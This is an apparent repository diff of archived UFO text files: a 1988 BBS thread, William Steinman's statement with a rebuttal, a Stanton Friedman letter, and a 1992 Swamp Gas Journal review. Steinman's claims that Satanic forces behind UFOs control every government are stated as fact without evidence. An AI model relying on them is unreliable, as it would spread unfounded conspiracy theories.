Arguing against this line of reasoning is the fact that spy satellites could
easily resolve the shape as soon as one flies
* Reply: 138084
#: 138084 S10/Paranormal Issues
22-Apr-88 06:28:20
Sb: #138073-#"Stealth"y UFOs
Fm: Michelle & Charles 76701,11
To: Gerry Zeitlin 71605,2013 (X)
At least one has flown, insofar as at least one has already crashed.
I agree completely about Westchester being inappropriate for flight tests. It
would be unlikely that they would do so. On the other hand, one could argue
that it is at least equally unlikely that UFOs are the cause of all sightings,
too.
-- charles
* Reply: 138166
#: 138166 S10/Paranormal Issues
23-Apr-88 17:38:15
Sb: #138084-#"Stealth"y UFOs
Fm: Gerry Zeitlin 71605,2013
To: Michelle & Charles 76701,11 (X)
I've just been reading Phil's update in file NIGHT, in which he gives numerous
descriptions of the flight characteristics, size, and look of this boomerang
affair. (I'm still trying to cover the current literature in this UFO scene,
after having given up following it, in frustration, several years ago. I
haven't read _Night Siege_ yet.) You know, there's no point trying to make
the stealth bomber explain what people are reporting. It's an aircraft after
all, and it's not going to hover over people's houses and shine down strange
lights. Furthermore, this activity has apparently been going on for years
now. Could the stealth bomber have been undergoing flight tests all that
time, in a populated area no less, with the Air Force only now releasing a
sketch of it?
* Reply: 138171
#: 138171 S10/Paranormal Issues
23-Apr-88 18:55:54
Sb: #138166-"Stealth"y UFOs
Fm: Michelle & Charles 76701,11
To: Gerry Zeitlin 71605,2013 (X)
It would seem unlikely. Almost as unlikely, one is tempted to say, as it all
being caused by extraterrestial beings.
-- charles
Function:
#: 138180 S10/Paranormal Issues
24-Apr-88 09:10:50
Sb: #STEALTH
Fm: PHIL 76636,44
To: ALL
THE THOUGHT ENTERED OUR MIND IF SOME OF THE SIGHTINGS WERE CAUSED BY HIGH
ALTITUDE STEALTH OPERATIONS. I DOUBT IT! IT DOES NOT SEEM LOGICAL THAT OUR
GOVERMENT WOULD EXPERIMENT IN SUCH A DENSELEY POPOULATED AREA. ALSO THE AIR
TRAFFIC IN THIS AREA IS HEAVY. ALSO MANY OF THE SIGHTINGS OF THE HVUFO WERE AT
LOW ALTITUDE.
* Reply: 138210


121
textfiles.com/ufo/steinman.ufo Normal file
View File

@@ -0,0 +1,121 @@
William M. Steinman is an independent UFO researcher
and investigator, and co-author of "UFO Crash At Aztec"
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
"I honestly believe that there are strong
religious implications in this entire phenomena"
- William M. Steinman (in a letter dated 01/19/89)
This is based on:
(1) My own strong convictions.
(2) A statement made by Dr. Edward Teller in Dallas, Texas in 1986.
When confronted by a friend of his on the origin of saucers, He
said, "I can't tell you that; but keep your eyes and ears on the
Mid-East situation."
(3) Jerold D. Miller, civilian scientist at the Airforce Office of
Technology, Kirtland AFB (his name appeared at the bottom of the
Aquarius Telex). He is a very religious man, and stated that "The
Book of Revelation" in the Bible, contains the Answer to the UFO
Problem.
(4) George Nicholes, old blind man, son of a scientist who worked at
Wright-Patterson in the late 40's stated that the Anti-Christ and
Book of Revelation held the key to the mystery.
"...I can go on and on with different persons such as John Lear,
Linda Howe, Tommy R. Blann, John Reynolds, and etc. who expressed
the religious ties to the phenomena."
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
"...My own statement concerning the UFO situation."
- William M. Steinman 01/19/89
Ultimate Solutions To The UFO Phenomena
---------------------------------------
The UFO or Flying Saucer Phenomena is a very complex problem
which can be simplified by summing it up as follows:
(1) The Flying Saucers originate from an "eternal dimension", not
subject to space and time, as we know it.
(2) The Flying Saucers "materialize" out of this "eternal dimension"
into our space time frame, and have been doing so since time
immemorial.
(3) There is a direct relationship between "The Great Secret" of the
Occult teachings, "The Mystery of Iniquity" of the Bible, and the
Flying Saucer Phenomena.
(4) The "Dark Forces" of the Occult, summed up as Satan (Lucifer) in
the Bible, is the underlying source behind the Flying Saucer
Phenomena.
(5) The "Dark Forces" are motivating and influencing the so called
"conspiracy Groups", who really control every world Government,
through their various Intelligence Agencies.
(6) There does exist in the United States, an alliance between the
"materialization" of these "Dark Forces" posing as "Alien Beings"
and a high level Intelligence group, presumably "MJ-12", who in
turn operates through the N.S.A., C.I.A., F.B.I., D.I.A., etc.
(7) There do exist Above-Top-Secret "saucer bases" in remote portions
of the United States (and around the world), in which this unholy
and immoral alliance are developing a very advanced Technology,
based on Unified Field Physics, Genetic Engineering, and biogenic
breeding in preparation for the ultimate "materialization" of the
"Dark Forces" when the "Mystery of Iniquity" is finally culminated
in "Anti-Christ" or "Ahriman" ("Incarnation of Satan").
(8) This entire subject matter remains the most highly classified and
most closely guarded secret of all time, under the cloak of
"National Security".
(9) Faith in God is what protects us against this. Paranoia is what
allows the "materialization" or Psycho-Physical manifestation of
the M.I.B. (or other diabolical forms) to "visit" you, If you
know too much.
signed: W.M. Steinman 12/18/86


199
textfiles.com/ufo/steinrep.ufo Normal file
View File

@@ -0,0 +1,199 @@
* STEINMAN.REP Comments on Mr. Steinman's absurb statements on the
subject of the "flying saucer" phenomena being the work of one of
his Gods.
Throughout written history women and men looked up in the sky
and wondered at the machines they observed there. Those
civilizations whose thealogy and theology supported a positive,
benign, and gentle Creator experienced these machines, lights,
and other constructs as friendly, and manifestations of their
God. Those societies with a polarized deity system of Good vs
Trickster were decidedly neutral when such manifestations
occurred, and usually waited for near-future events to happen
before judging if the visitation was from Good or Trickster.
Always, superior technology has been condemned as work from a
relatively recent newcomer to mythology, the Devil. Where the
Trickster was not "good" or "evil," this new God was decidedly
evil. It was a Pope who stated that the steam engine was evil,
and instant excommunication from the Roman Catholic Church was
the punishment for those evil sinners who used steam for work
Using steam meant that "earning thy bread by the sweat of thy
brow" became much easier, and thus wrong in the eyes of the
currently adopted God.
Now here we are in the 1989s, and technology has pretty much
cut our sweating down to those days when the air conditioning
fails to work in one's apartment. Pushing papers around a desk,
and punching a keyboard, has a permanent place in today's
society.
So one would think that the equation "Technology = Evil"
would have been put to rest, right?
No. Two years ago, on national TV, a religious extremist,
hysteric, and Fundamentalist, stated that space craft were the
"work of the Devil," and then included as "proof" the "Occult New
Age philosophy" in Star Trek and Star Wars.
Then we come to William M. Steinman, the subject of this
diatribe.
I quote from his statement dated 01/19/89, Titled "Ultimate
Solutions To The UFO Phenomena," as found in the text file
Steinman.txt.
"The Flying Saucers originate from an
'eternal dimension', not subject to space
and time, as we know it."
Mr. Steinman courageously assumes a great deal here, the
least of which is that "Flying Saucers" are real, either physical
or astral in origin. While he does not clue the reader in on what
he means by "eternal dimension," we can assume safely that he
refers to an other worldly, etheric "plain of existence" that
occultists, such as he, loves to speak of. The existence of such
an astral plain is his second big assumption.
As an occultist myself, I agree with Mr. Steinman that the
"UFO Phenomena" is "other dimensional," and does not belong
completely in the realm of "space and time." I do, however,
object to the fact that he has stated his assumption as fact.
"The Flying Saucers 'materialize' out of
this 'eternal dimension' into our space
time frame, and have been doing so since
time immemorial.
Assuming that using the term "Our space time frame" is
valid (who knows? It could be *US* infiltrating *THEIR* space),
he does not provide any clue here to what he means by "since time
immemorial." The "UFO Phenomena," as we presently know it, is
only as old as written history, which really wasn't that long
ago. Mr. Steinman assumes an antiquity that is not supported or
supportable.
There is a direct relationship between
'The Great Secret' of the Occult teachings,
'The Mystery of Iniquity' of the Bible, and
the Flying Saucer Phenomena.
Mr. Steinman mentions his occult teaching, but gives us no
clue at all to what he's talking about. As an occultist, one
would assume I'd know what he means by "The Great Secret," but I
have never come across such a reference once in 28 years of
study. One wonders if Mr. Steinman knows what he's talking about.
He also fails to mention what this "direct relationship"
happens to be!
The "Dark Forces" of the Occult, summed
up as Satan (Lucifer) in the Bible, is the
underlying source behind the Flying Saucer
Phenomena.
Mr. Steinman is one of the relatively few occultists who
believes in the Christian God Satan. I have yet to see any
reference in occult literature to such a deity.
If we assume, as Mr. Steinman has, that such a deity as this
Christian God exists, why would It be the "underlining source" of
the "Flying Saucer" phenomena? And if it is, as Mr. Steinman
states, why is it that UFOs were reported before his God was
invented?
I am not aware of anywhere in the Christian Bible where it
states that their Gods chief mode of transportation are "flying
saucers." I suppose the Pope should excommunicate these Gods:
some UFOs appear to be steam powered!
The "Dark Forces" are motivating and
influencing the so called 'conspiracy
Groups', who really control every world
Government, through their various
Intelligence Agencies.
The only "Dark Forces" (note the capitals in deference to
Mr. Steinman's fear and awe of them) here on Earth, as far as I
can tell, and from occultist teachings, are humans, in the form
of hate and ignorance. Mr. Steinman claims occult teachings, but
his statements do not support his claim.
There does exist in the United States,
an alliance between the 'materialization'
of these 'Dark Forces' posing as 'Alien
Beings' and a high level Intelligence
group, presumably 'MJ-12', who in turn
operates through the N.S.A., C.I.A.,
F.B.I., D.I.A., etc.
In one sentence Mr. Steinman says that his God Satan is
responsible for the "Conspiracy Groups," and in the next he joins
such a group by proclaiming that the government has sold-out to
this God. So much for consistency.
There do exist Above-Top-Secret
"saucer bases" in remote portions of the
United States (and around the world), in
which this unholy and immoral alliance
are developing a very advanced
Technology, based on Unified Field
Physics, Genetic Engineering, and
biogenic breeding in preparation for the
ultimate "materialization" of the "Dark
Forces" when the "Mystery of Iniquity"
is finally culminated in "Anti-Christ"
or "Ahriman" ("Incarnation of Satan").
While mythology is a wonderful art form, why equate it with
high technology? And why this fear of high technology that so
many hysterics cling to?
Why has he stated, flat out and with no proof or qualifiers,
that the United States of North America's government is in
"unholy" and "immoral" alliance with his God? This is not even
good mythology, and nothing in occult teachings suggests such a
belief-- why Mr. Steinman says it does is a good question.
This entire subject matter remains
the most highly classified and most
closely guarded secret of all time,
under the cloak of 'National Security'.
Then how was he, above all others, made privy to this secret?
Faith in God is what protects us
against this. Paranoia is what allows
the 'materialization' or Psycho-Physical
manifestation of the M.I.B. (or other
diabolical forms) to 'visit' you, If you
know too much.
Mr. Steinman clearly has faith in being paranoid. He does
not state which of his Gods to "have faith" in. There has yet to
be any such "visits" by "diabolical forms," to my knowledge, and
I've studied such things-- all such references are generally
understood to be allegory.
I sincerely hope that such a "diabolical form" has come to
take Mr. Steinman away, and thus removed one more fruit-cake from
the field of Ufology. Such lunatics give the field a bad name,
which it already suffers greatly under.
-D. Rice, July 9, 1989


74
textfiles.com/ufo/stflet1.ufo Normal file
View File

@@ -0,0 +1,74 @@
STANTON T. FRIEDMAN
NUCLEAR PHYSICIST - LECTURER
110 Kings College Road
Fredericton, New Brunswick E3B 2E7
Canada
(506) 457-0232
Mr. William Steinman
15043 Rosalita Dr.
La Mirada, CA 90638 USA May 25, 1984
Dear Bill:
Re yours of May 18. Some data...
I checked telephone information in State College, PA -- home of Penn
State after checking the library re Walker. There was no listing so
I called the University. I eventually was given a location in South
Carolina.. Hilton Head. I got his number there and called. He was out.
I left my name and said I would call back the next night when
according to his wife he would be in. I did so. He was cagey and
careful. There was no admission whatsoever of any involvement with
UFOs at all.
He did say that the subject had of course been discussed by everybody
back then. He did admit to having read the Roswell Incident and threw
in some cracks. There is absolutely nothing that can be used in a
court of law. He certainly will not respond to pressure. My reaction
to how he answered the various questions was that he knew a great
deal. He surely wasn't saying that. I think you are probably right
about him... his background is certainly impressive and of course Ike
had a farm in Gettysburg PA and there were other connections. I don't
have a mailing address for him but he does apparently go in to the
university still as an ex president.
I would certainly agree that HAK was in all the right places at the
right times doing the right things for him to have been involved and
perhaps still involved in the UFO coverup. I have no idea how to
prove that at this time.
I have no idea why you want to have the government turn flying saucers
over to the scientific community. The security implications of the
technology of the saucers are enormous. I do not want technical
information made public. Why do you? I want the world to know that
indeed our planet is being visited by ETI and that the government
knows a great deal. I certainly don't want all the information made
public. After all what about all the data obtained by other
governments especially the Soviet Union? Do you expect them to
make their information available? I would expect them to grab ours
and put it together with theirs...
A direct frontal approach often calls the troops out of the closet.
I certainly appreciate that you have been spending a lot of effort
and turning up leads worthy of further attention. But again I must
express my strong concern about not going past the data... as was
the case with Sarbacher. These guys can't be brow beaten.
Impressions and feelings are useful in pursuit of truth but not in
establishing it in a courtroom. I appreciate4 the info about Wang,
but again his wife's statements to you don't prove anything... about
him or HAK. Incidentally I long ago suggested that HAK knew all
about UFOs and that was the reason for the embargo raising oil
prices because once the truth was out oil would be of much less
value... he was closely tied to the Rockefeller interests as you
know... But I hadn't checked his early background until you
suggested it.... It was probably expected that some of the truth
would be released during Nixon's second term....
Hastily,
Stan


773
textfiles.com/ufo/swamp_61.txt Normal file
View File

@@ -0,0 +1,773 @@
Volume 6 The SWAMP GAS JOURNAL ISSN 0707-7106
Number 2 ********************* June 1992
This issue of SGJ will be devoted to a review of recent articles and
books that I feel are of some significance to ufology and related
subjects. It is probably impossible to comment on all the published
material, as there are so many ufozines and new books that are
available. The Arcturus catalogs alone contain many more items than
most researchers or avid readers can ever hope to keep pace with (let
alone afford them!). And, with materials branching out or crossing
over into other fields, the volume of information is truly
astronomical.
------------------------------------------------------------------------
SCIENCE NEWS is a weekly international newmagazine which is highly
regarded in the science community. It covers virtually all subjects,
and contributors write authoritatively on everything from global warming
to Alzheimer's disease. Its cover story for February 1, 1992, was
about a unique interpretation of British crop circle formations by
noted archeaoastronomer Gerald Hawkins. Basically, Hawkins believes
that whatever intelligence is behind the crop circle mystery, it is
sophisticated enough to create and solve complex problems in geometry.
Hawkins claims that several Euclidean theorems are demonstrated in the
British designs, and that this is more than simple hoaxing. He asks in
a letter of response in the March 7th issue: "Are the crop-pattern
makers hitting these geometries by blind luck, or are they
communicating at some level of mathematical knowledge?" He went on:
"It is unlikely that hoaxers could draw these by doodling in the dark".
The problem is, however, that many people do not agree that the
patterns are complex enough to warrant an "unlikely" label. This is
further complicated by the recognition that crop circles (or certain
types of UGMs) have been found in fields dating back long before the
1980's, and around the world in addition to the concentrated British
wave around Wiltshire. Admittedly, some of the formations in England
are very bizarre, such as the one on Alton Prior, with "keys",
"ladders", inscribed rings and other shapes. There is no question that
even hoaxers would have had to plan these with some effort. But do
these formations necessarily imply an intelligence beyond human
intervention? We can recall books written about the pyramid of Cheops,
in which authors attempted to show complex knowledge about the universe
through the height, shape and position of the stones. Skeptics showed
that these works were in error through further research into the
accuracy and measurement of the dimensions, but the attributions linger
on.
We can therefore cast some doubt on Hawkins' interpretation of the
geometric accuracies of the British formations, despite his reputation.
It would be nice to think that the aliens (or whoever) are
communicating with us through geometric forms, but because so many of
the formations in England are suspected hoaxes, the data to support
such a theory is badly contaminated, and the theory is on very shaky
ground.
Speaking of shaky ground, the latest issue of GEO-MONITOR (published
by Vince Migliore) [May 1992] has an interesting discussion about the
possibility that the April earthquakes in California were predicted by
some amateur seismic researchers. One person monitoring 10.2 kHz said
he had heard "thumping sounds" a few days before a quake hit
California. Others monitoring various frequencies also thought a quake
was coming. Some earthquake "sensitives" who get migraines or heart
pain also seemed to predict the quakes. Interestingly, the counting of
lost pet ads in newspapers is now losing favour among some researchers,
because the statistical tests used to verify any changes are too
rigourous to discriminate between small random variations and any real
effects. GEO-MONITOR has previously reviewed UFO reports as earthquake
precursors, and some interesting correlations have been reported. But
out of the hundreds of seismic events listed every month, there are few
with associated luminous phenomena. This is clearly at odds with the
Tectonic Strain Theory of UFOs advocated by Michael Persinger, John
Derr and others.
Persinger is still publishing reams of material about TST effects on
UFOs and other paranormal phenomena. One of the most recent is:
"Geophysical Variables and Behavior: LXVII. Quieter Annual Geomagnetic
Activity and Larger Effect Size for Experimental Psi (ESP) Studies Over
Six Decades", in PERCEPTUAL & MOTOR SKILLS, 1991, 73, 1219-1223. Yes,
that's right, the 67th installment of the TST exposition, as of 1991.
In this article, Persinger and co-author R. Berger claim that they
found strong correlations between decreases in geomagnetic activity and
positive experimental ESP effects. The ESP experiments were those
reported by the Rhine group in 1940, compiled during the 1800's and
early 1900's. Persinger and Berger found that by introducing a LAG of
one year (thus allowing for a delay between the experiments and the
publication of the results), the strong correlation was produced. They
therefore concluded that geophysical effects influence psychic ability.
It is interesting to note that they made no mention of the possibility
that the experiments or reports were in error. They conclude: "The
relationship between [geophysical effects] and this form of psi
phenomenon has been present for at least 100 years." Support for this
contention? Well, according to the list of references, many previously
published articles - by Michael Persinger.
For those of you on the INTERNET or BITNET, the sci.skeptics
newsgroup recently carried a discussion about the TST and the crop
circle plasma vortices. The Arizona Skeptics, represented by James
Lippard, recently published an article about John Derr's claims that
UFOs are miniature earthquake lights. Lippard obtained further info
about the TST mess, and published some fairly damning comments in
another issue. Robert Sheaffer, "Skepticus Maximus", as he calls
himself, was also interested in the TST debate. He stated that he had a
run-in with Persinger some time ago, with predictable results. After
several more exchanges, yours truly was invited to contribute to an
article for the SKEPTICAL INQUIRER on the subject of the TST. As some
readers will know, Phil Klass had asked me to compile a definitive
article about the TST for SI, but I had not yet had the opportunity to
do so. Sheaffer therefore compiled information about the TST into a
"News and Views" article for SI, which will be published soon.
On the topic of the Skeptical Inquirer, a fascinating article
critical of CSICOP has been published in the JOURNAL OF THE AMERICAN
SOCIETY FOR PSYCHICAL RESEARCH, Volume 86, January 1992. Titled:
"CSICOP and the Skeptics: An Overview", author George Hansen really
socks it to CSICOP, cleverly uncovering some skeletons in their
closets and inadequacies in their approach to paranormal phenomena.
The lengthy article (available as an offprint from Arcturus Book
Service) discusses the formation of CSICOP, its makeup, belief systems
and also profiles some of its prominent members. Hansen's conclusions?
From the abstract:
"Initially, CSICOP was primarily a scholarly body, but soon
after its beginning it adopted a more popular approach that
fostered a more broadly-based social movement ... a
disproportionate number of magicians are involved, ...
dominated by men, and many members hold religious views that
are antagonistic to the paranormal. Despite the name of the
organization, actual research is a very low priority of the
Committee. In fact, CSICOP instituted a policy against doing
research itself. CSICOP's highest priority has been to
influence the media ..."
Basically, Hansen concludes that CSICOP is just as biased AGAINST the
reality of paranormal phenomena as "believers" are biased IN FAVOUR of
such phenomena. He noted how moderates such as Truzzi and Rawlins
(who conducted a study on astrology with POSITIVE results) were ejected or
otherwise parted ways with CSICOP. The CSICOP executive was found by
Hansen to be composed mostly of non-scientists with firm convictions
against the reality of paranormal phenomena (to the extreme position of
publicly proclaiming belief in such phenomena "dangerous").
Hansen's most curious finding was that although CSICOP members often
point out that moneymaking ventures (such as book publishing) by
paranormal proponents are an obvious indication of incincerity, the
CSICOP executive itself appears to have a vested interest in publishing
companies disseminating anti-paranormal material. Obviously, though,
the amount of material published by pro-paranormal factions far
outweighs the contrary, so the analogy may not be the best.
Perhaps the most unsettling of Hansen's findings is the lack of
research conducted by CSICOP, despite its published Mandate. This is
probably most true now, with the legal battles and infighting
proceeding because of the Randi/Geller debates. (This is most telling
through the insistence of CSICOP "affiliates" that they in no way
represent the parent group, and vice versa!)
Hansen presents a decidely unkind look at CSICOP, but rather than
employing the flames used in INTERNET arguments, he uses quotes from
CSICOP members' own published comments to show their weaknesses. (Dare
I suggest that some of these quotes might be out of context?)
Paranormal researchers and CSICOP members alike are encouraged to seek
out a copy of Hansen's article, as constructive criticism can only
strengthen one's perception of a polarized debate.
On a similar note, the editorial by Jerry Clark in the March/April
1992 issue of IUR also raises some disconcerting problems about CSICOP.
Jerry points out that in its "Manual for Local, Regional and National
Groups", 17 pages are devoted to "Handling the Media", whereas only 3
are given to "Scientific Investigations". Jerry's editorial is much
less polite than Hansen's review, but this might be expected. However,
even Jerry cautions that "not everyone ought to be tarred with the same
broad brush". He goes on: "I have friends in CSICOP, individuals I
respect and whose views and insight I listen to respectfully even when
I disagree with them; I might add that we often agree, too. [My]
remarks here are directed to CSICOP's leaders, who with some exceptions
have distinguished themselves chiefly by their arrogance, bombast, and
extremism." It is interesting that such an editorial is carried in
IUR, because one criticism by both Clark and Hansen is that CSICOP
tends not to recognise reasonable paranormal research outside its own
dominion. A case in point is the attempt by IUR to present opposing
views on the Gulf Breeze affair; two recent issues carried definitely
PRO articles about the Gulf Breeze UFOs (including one by Bruce
Maccabee) and also decidedly NEGATIVE articles about GB. This is a
good example of how rational discussion should be conducted and evolve
in the UFO/paranormal/Fortean community.
The same issue of IUR with Jerry's editorial also contains an
article I co-authored with John Timmerman of CUFOS. John and I visited
Langenburg, Saskatchewan, with Jeff Harland (of UFOROM) last year, and
we had an opportunity to interview Edwin Fuhr. Fuhr was the witness to
a remarkable CE2 in 1974, in which he came upon five bowl-shaped,
spinning objects as he was swathing rape. When the objects departed,
they left behind circular swirled patches in the grass, remarkably
similar to the crop circles that have been found in England during the
past decade. We argue that crop circles are an ongoing, worldwide
phenomenon, and did not begin in the 1980's in England. Furthermore,
it is unlikely that the case could be attributed to a plasma vortex.
This case is one of many which involve an observation of an apparently
solid, disc-shaped object which leaves behind a depression in the
vegetation. These types of cases are clearly at odds with the two or
three dozen cases of eyewitness observations of rotating wind vortices
creating circles in English countrysides. The latter are used by
vortex theorists to support their views, whereas the former are used by
some ETH theorists to bolster belief in aliens as circle creators. Our
study of the Langenburg case shows how an investigation of a major CE2
can lead to differing interpretations and raises many questions about
witnesses' testimony and physical evidence.
This is no more evident than in the CROP CIRCLE BULLETIN of CPR
Australia, a new branch of Colin Andrews' group. Its first issue,
published in February 1992, reviews Andrews' visit down under and the
subsequent fallout. Only days after Andrews' much-publicised visit in
December, 1991, crop circles were found amid a wave of UFO reports.
Issue #2 (May, 1992) breathlessly recounts Andrews' visit to Tasmania
in April, with packed houses of believers listening to his exposition
of how contact is occurring through the circles. Circle formations, of
course, represent "ideas, qualities and functions", rather than actual
text, and the Hungerford (England) pictogram is thus translated into
the name: Ra, meaning "Sun". As the BULLETIN's editor says herself:
"Language and words are a low-density form of communication and can be
used very successfully to mislead and control." This is most revealing
in that the rest of the issue goes on at great length to expound upon
how crop circles are indications or messages from a higher intelligence
urging humanity to "WAKE UP and then be 'tuned in'".
The BULLETIN also contained some interesting discussion about the
crop circles which were found in New Zealand recently. On February 1,
1992, the first one was found in Canterbury. It was 20 metres in
diameter, with a concentric track about 10cm in width. Another was
found within a few days. However, two young men named Hanrahan and
Harrison broke the story through the local newspaper that they had made
the formations with a T-shaped board (Bower and Chorley's nephews?).
What is most curious is that the Australian CCCS is not accepting the
hoaxers' claim. The circles were destroyed before any member could
investigate. Skeptics would invoke Occam's Razor and contend that the
hoaxers were, in fact, the culprits. In this case, I would tend to
agree; Bower and Chorley were suspect in England because of a number
of circumstances, including the vast numbers of circles found, and the
history of circles in the area. In New Zealand, only two circles were
found after the publicity following Andrews' visit to Oceania, and
hoaxers came forward immediately. It is LIKELY that they were indeed
responsible. (However, any TRUE skeptic reading this would doubt my
conclusion, and point out flaws in my reasoning!)
Incidentally, in addition to the sporadic reports of new circle
formations in England in 1992 (why isn't anyone disseminating
information from Britain this year?), North America has had a few cases
this year as well. The first report came from Rosemary Ellen Guiley,
of the American branch of Andrews' group, who told me that a formation
identical with one last year was found at the exact same site near
Jonesboro, Georgia, in April. However, inquiries with MUFON personnel
in that state have not been able to confirm the discovery. In
addition, Rosemary (and another NAICCR correspondent) said that UFO
activity in New Hampshire had associated UGMs. Again, I have been
unable to confirm this.
I HAVE been able to confirm a new "space cookie" type of UGM,
investigated by Gord Kijek of the Alberta UFO Study Group. It was
found on May 6th in a grassy field not far from Edmonton. The UGM is a very
strange-looking formation and is EXACTLY six metres in diameter. It
varies in depth from 5 to 31 cm, and stands out clearly in the
photographs which Gord has provided to NAICCR. Although my first
thought was that it was a sinkhole, the terrain is supposedly not
conducive to such features, and besides, it would be unlikely that it
would be perfectly circular if that was the case. Grass is growing
both in and out of the circle, and the shear is quite evident.
Hoaxers? Maybe, though I'm not sure how this could have been produced
without heavy machinery leaving tracks. Oh, yes. The UGM is in a
field owned by an RCMP officer.
The JOURNAL OF METEOROLOGY, vol.17, #165 (January, 1992), carried an
article written Dennis Stacy of MUFON but obviously endorsed by Terence
Meaden. The article was titled "Soviet Ice Circle Reported", and was
submitted as yet more evidence that many classic UFO cases could be
"luminous, electrically-charged spinning vortices and the subsequent
formation of physical ground traces". On January 7, 1990, a strange
object was observed by an ice fisherman near the town of Marefa. He
saw a "saucer", a top-shaped object with a spire, 75 metres in diameter
and 5-6 metres thick. From the account:
"The object appeared to be resting on, or hovering just
slightly above, the surface of a small frozen bay. Its spire
and base were described as greyish-blue in color, the middle
or main body as orange or rose-colored: 'something like the
color of the clouds in the sky at sunset'. The base was
pulsating 'as if some balls (of light?) were rolling around
there'."
After 10 minutes, the object rose about 30 metres, hovered, then moved
away to the east and was lost to view. Where it had hovered were
several circular rings, the largest of which was 20.7 metres in
diameter and one metre wide. It had the appearance of a "giant milling
machine cutter". At the time of its discovery, the ice was said to be
too thin to support a human, making the hoax explanation very
difficult.
Whereas most ufologists would interpret the case as a classic CE2
caused by a alien craft, Stacy (and apparently Meaden) propose that the
case is consistent with "many phenomenological correspondences with
some purported plasma-vortex effects", and "the colors themselves are
those that might be easily associated with a luminous atmospheric
phenomenon, including, presumably, the plasma-vortex". This
interpretation of an apparently solid object as a plasma vortex has
become the norm for cerealogists wishing to find support for the vortex
theory of circle creation. This attitude has naturally upset the
'nuts-and-bolts' UFO proponents, who find the plasma explanation as
unpalatable as Klass' ball lightning explanations of the 1960's.
Basically, the debate is this: which is easier to believe - that we are
being visited by extraterrestrials, or that a mysterious and
incomprehensible atmospheric phenomenon previous unknown to science is
being witnessed by thousands of people each year (and makes elaborate
ground formations almost exclusively in southern England)?
Bill Chalker sent along info (through Paranet) about the central
coast of New South Wales (again in Australia) having a major flap of
UFOs in April and May of this year. Besides the Toukley reports on
April 28th, there seem to have been a several other cases reported and
a great deal of media coverage. But a local resident announced to the
media that he was responsible for many of the reports. It seems he was
trailing a "luminescent kit apparatus" on a 500-metre-long line while
riding his bike in the area. Ufologists in the region are reportedly
debating whether or not this explanation is viable.
Someone posted a huge wad of articles and letters concerning the
Gulf Breeze affair, in the alt.aliens INTERNET newsgroup (I think it
was Don Allen). It contained (among other things): eyewitness acounts
by newspaper reporters, articles by Donald Ware and Duane Cook, letters
and articles by Bob Oechsler, photographic studies by Bruce Maccabee, a
letter by Bruce basically telling GB's mayor he doesn't know what he's
talking about, a summary by John Hicks, comments from Ed Walters in his
own defense, and Rex and Carol Salisberry's reasons why they disagree
with MUFON's support of the case. The information complements the IUR
articles mentioned earlier, and show how complicated the GB affair has
become. Some people are now firmly convinced that flares and balloons
caused the most recent UFOs there, and that Ed faked all his photos
with a little help from his friends. Others (notably MUFON reps) argue
that Ed's photos are impossible to fake and that flares or balloons
cannot explain the reports from the nightly skywatches. A recent
addendum to the case is that a physician from Louisiana who has been
investigating the GB reports with some associates has succeeded in
communicating with the recent UFOs, getting responses from flashing car
lights and telepathically giving instructions to the UFOs.
I think it's about time that an expedition of objective
investigators was made to the Pensacola sites. Even if Bob Sheaffer
and Phil Klass were along, it might throw a towel on the nightly UFO
contacts so that a better assessment of the reports could be made.
This all sounds suspiciously like the Niagara-on-the-Lake skywatches
(which I understand are still going on), which found hundreds of UFOs
each night flying over Lake Ontario. Investigators with CUFORN and the
former Project SUM had plotted UFO flight paths and had determined
through triangulation that the UFOs were flying in and out of an
underwater base near Toronto. Whatever happened to Project SUM,
anyway?
Back to crop circles. Mike Chorost kindly sent me a copy of a
RESEARCH REPORT (#3) by W.C. Levengood, who has analysed crop circle
samples to show they are significantly different from unaffected sites.
"Unusual Growth Responses in Crop Circle Seedlings" discusses how seeds
from crop circles grew at different rates than control seeds. In
addition, under a magnifying glass, seeds from circle sites were
"grossly malformed" compared with control seeds. Levengood claims that
"circle seedlings at the six-day point were at a significantly higher
growth (p < 0.05)". The data was presented in the form of a graph
which showed the circle seedlings at 9cm versus the 7cm control
seedlings. Levengood suggests that the average seedling heights were
therefore significantly different, though we cannot see this easily
from the graph, and details of the growing conditions are not given.
He also gives data on the "Vancouver" circles (actually from the
Alberta sites) and the Medina, NY, case, with similar results. He
concludes that "plant growth from crop circle seeds indicates the
presence of complex energy mechanisms within the formations".
Although Levengood's report is very interesting, others will be less
convinced of the significance of the results. What would be needed to
convince the skeptics, I think, would be two or three independent labs
conducting the identical growing experiments and then comparing the
results. From a paranormal point of view, perhaps it could be argued
that Levengood might have subconsciously "willed" the circle seedlings
to grow differently.
Jenny Randles has sent along copies of the NORTHERN UFO NEWS, the
most recent few of which have contained defenses of her views on the
Rendlesham UFO case. NUFON also defends the vortex theory quite
heartedly, though it also offers pointed commentary on the circle
scene, including the crop circle radioactivity fiasco. NUFON also
includes summaries of recent British UFO cases (remember THOSE things?)
in each issue, contributed by members of BUFORA, MUFORA, SPI and
essentially all other imaginable acronyms.
The CROP WATCHER, a British circlezine edited by Paul Fuller, is
also a good read. Being a statistician, Paul's article describing the
details of the radioactivity found/not-found at circle sites was
particularly insightful to those of us still trying to figure out what
a Chi-square is. Issue #10 (March/April) of CW contained a summary of
Andrew Hewitt's Survey of the 1990 British crop circles. FINALLY!
Hewitt used the CERES database (supplied by Terence Meaden) to
catalogue about 670 separate circles. The full CERES database is now
said to have over 2200 circle events listed, but for simplicity, only
the 1990 data was selected. Curiously, Hewitt used variables radically
different from those used by NAICCR in its reports. Probably because
of the source of the data, variables were selected that were
particularly relevant to the plasma vortex theory. Hewitt considered
the variables: Geographic Distribution; Altitude Above Sea Level;
Aspect; Gradient; Geology; Distance From Hills; Generalised Gradient
and Pattern Type. In addition, each circle had a map location, a date
found, the name of the discoverer and a brief description of the
formation.
Hewitt's results were interpreted to show that the vortex theory is
consistent with the data. For example, the variables of Aspect and
Gradient concerned the positioning of circles on hills in southern
England. Most of the circles were on the northeast side of hills, and
"thus wind vortices forming on lee slopes in Southern England would
tend to create crop circles on the North-Eastern side of hills". This
observation was supported by statistical tests. Other variables such
as the Altitude did not seem to have much meaning as data, and merely
reflected the geographical distribution in Britain.
But in North America, winds are much more variable, and such
analyses would have less meaning. Furthermore, North America has much
fewer UGM cases to use as data. Many circles in Manitoba were on
perfectly flat terrain, without any noticeable gradient, and rather
than negate the vortex theory, it has been reported that Meaden has
come up with several reasons why circles could form on flat terrain as
well. (This begs the question of whether or not Hewitt's
Gradient/Aspect data were meaningful.)
